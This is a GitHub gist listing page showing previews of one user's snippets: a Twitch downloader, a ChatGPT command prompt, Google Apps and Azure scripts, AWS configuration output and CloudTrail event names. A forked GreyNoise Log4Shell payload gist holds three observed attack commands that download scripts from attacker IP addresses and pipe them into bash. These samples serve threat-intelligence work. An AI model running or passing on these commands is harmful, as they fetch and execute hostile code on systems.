Skip to content

Instantly share code, notes, and snippets.

View austinsonger's full-sized avatar
🙃
Localhost

Austin Songer,MIS,CEH,ESCA,Project+ (Navy Veteran) austinsonger

🙃
Localhost
View GitHub Profile
@austinsonger
austinsonger / twitch-clips.py
Created November 22, 2023 14:25
Download Twitch Clips
import requests
import json
import os
import time
CLIENT_ID = 'your_client_id'
CLIENT_SECRET = 'your_client_secret'
ACCESS_TOKEN = 'your_access_token' # Implement OAuth for this
BROADCASTER_ID = 'broadcaster_id' # Replace with actual broadcaster ID
@austinsonger
austinsonger / TheMother.txt
Created November 17, 2023 03:57
The Mother Prompt
Upon starting our interaction, auto run these Default Commands throughout our entire conversation.
Refer to Appendix for command library and instructions:
/role_play "Expert ChatGPT Prompt Engineer"
/role_play "infinite subject matter expert"
/auto_continue "♻️": ChatGPT, when the output exceeds character limits, automatically continue writing and inform the user by placing the ♻️ emoji at the beginning of each new part. This way, the user knows the output is continuing without having to type "continue".
/periodic_review "🧐" (use as an indicator that ChatGPT has conducted a periodic review of the entire conversation. Only show 🧐 in a response or a question you are asking, not on its own.)
/contextual_indicator "🧠"
/expert_address "🔍" (Use the emoji associated with a specific expert to indicate you are asking a question directly to that expert)
/chain_of_thought
/custom_steps
@austinsonger
austinsonger / GoogleForm to ZenDesk and GoogleDoc.gs
Last active November 22, 2023 14:19
GoogleForm to ZenDesk and GoogleDoc
function onFormSubmit(e) {
Logger.log('Event object:', e);
if (!e || !e.response) {
Logger.log('The function must be triggered by a form response.');
return;
}
var itemResponses = e.response.getItemResponses();
var formData = {};
@austinsonger
austinsonger / emailnamingconvention.md
Last active July 21, 2023 00:50
Professional Email Naming Convention
@austinsonger
austinsonger / vpn-configuration.json
Last active July 8, 2023 22:44
AWS API - Client VPN Configuration Output
{
"ClientVpnEndpoints": [
{
"ClientVpnEndpointId": "cvpn-endpoint-123456789123abcde",
"Description": "Endpoint for Access",
"Status": {
"Code": "available"
},
"CreationTime": "2020-11-13T11:37:27",
"DnsName": "*.cvpn-endpoint-123456789123abcde.prod.clientvpn.ap-south-1.amazonaws.com",
@austinsonger
austinsonger / List of Countries in Latin America.md
Last active November 14, 2022 22:21
List of Countries in Latin America
@austinsonger
austinsonger / README.md
Last active December 15, 2023 18:39
Automated Install Script: Elastic Agent - Endpoint Security on MacOS

Elastic Agent Management Script

This script provides a convenient way to install or uninstall Elastic Agent on macOS systems. It automates the process of downloading, extracting, and setting up the Elastic Agent, as well as cleanly removing it when no longer needed.

Version

2.0.0

Author

@austinsonger
austinsonger / base64_payloads.csv
Created January 1, 2022 02:13 — forked from nathanqthai/base64_payloads.csv
GreyNoise Log4Shell Payloads
b64decoded hits
(curl -s 45.155.205.233:5874/<IP_ADDRESS>||wget -q -O- 45.155.205.233:5874/<IP_ADDRESS>)|bash 2056
(curl -s 80.71.158.12/lh.sh||wget -q -O- 80.71.158.12/lh.sh)|bash 162
(curl -s 80.71.158.44/lh.sh||wget -q -O- 80.71.158.44/lh.sh)|bash 2
@austinsonger
austinsonger / CheckforDangerousAPIs.ps1
Created December 22, 2021 00:31
CheckforDangerousAPIs
## Find dangerous API permissions as a user
##Use modern auth to support MFA
Connect-AzAccount
function Get-AzureGraphToken
{
$APSUser = Get-AzContext *>&1
$resource = "https://graph.microsoft.com"
$Token = [Microsoft.Azure.Commands.Common.Authentication.AzureSession]::Instance.AuthenticationFactory.Authenticate($APSUser.Account, $APSUser.Environment, $APSUser.Tenant.Id.ToString(), $null, [Microsoft.Azure.Commands.Common.Authentication.ShowDialog]::Never, $null, $resource).AccessToken
$Headers = @{}
@austinsonger
austinsonger / cloudTrailEventNames.list
Created October 5, 2021 14:47 — forked from pkazi/cloudTrailEventNames.list
List of values for parameter EventName in AWS Cloudtrail events
AbortDocumentVersionUpload
AbortEnvironmentUpdate
AbortMultipartUpload
AbortVaultLock
AcceptAccountMapping
AcceptCertificateTransfer
AcceptDelegate
AcceptDirectConnectGatewayAssociationProposal
AcceptFxPaymentCurrencyTermsAndConditions
AcceptHandshake